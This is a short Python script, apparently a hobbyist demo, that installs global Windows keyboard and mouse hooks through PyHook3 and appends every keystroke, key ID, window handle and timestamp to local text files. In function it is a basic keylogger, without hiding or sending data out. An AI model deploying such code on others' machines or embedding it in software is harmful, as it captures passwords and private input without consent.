#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018.11.17 17:28 
# @Author : By Joker
# @File : listening_key_02
# @Software: PyCharm
# @desc: 同时监听鼠标.键盘动作,并将监听信息写入文件
import time
import PyHook3
import pythoncom


def on_mouse_event(event):
    """
    监听鼠标事件,并将监听信息写入文件
    :param event:
    :return: 返回True,以便将事件传给其他处理程序
              注意, 若返回False, 则鼠标事件将被全部拦截
              导致鼠标失去响应
    """
    write_listening_key_mouse(event)

    return True


def on_keyboard_event(event):
    """
    监听键盘事件,并将监听信息写入文件
    :param event:
    :return: 同鼠标监听事件的返回值
    """
    write_listening_key(event)

    return True


def write_listening_key_mouse(event):
    """
    将监听的鼠标信息写入文件
    :param event:
    :return:
    """
    with open('./mouse.txt', 'a+') as f:
        f.write(
            '事件: ' + event.MessageName + ', 时间: ' + format_time() + ', 窗口信息: '
            + str(event.Window) + ', 滚轮: ' + str(event.Wheel) + '\r\n')


def write_listening_key(event):
    """
    将监听的键盘信息写入文件
    :param event:
    :return:
    """
    with open('./keyboard.txt', 'a+') as f:
        f.write(
            '事件: ' + event.MessageName + ', 时间: ' + format_time() + ', 窗口信息: '
            + str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n')


def format_time():
    """
    返回当前指定格式的日期
    :return:
    """
    now = int(time.time())
    time_array = time.localtime(now)

    return time.strftime('%Y-%m-%d %H:%M:%S', time_array)


def main():
    # 创建监听对象
    manager = PyHook3.HookManager()

    # 监听所有键盘事件
    manager.KeyDown = on_keyboard_event
    # 设置键盘监听
    manager.HookKeyboard()

    # 监听鼠标事件
    manager.MouseAll = on_mouse_event
    # 设置鼠标监听
    manager.HookMouse()

    # 循环监听, 若不手动关闭, 程序将一直处于监听状态
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()
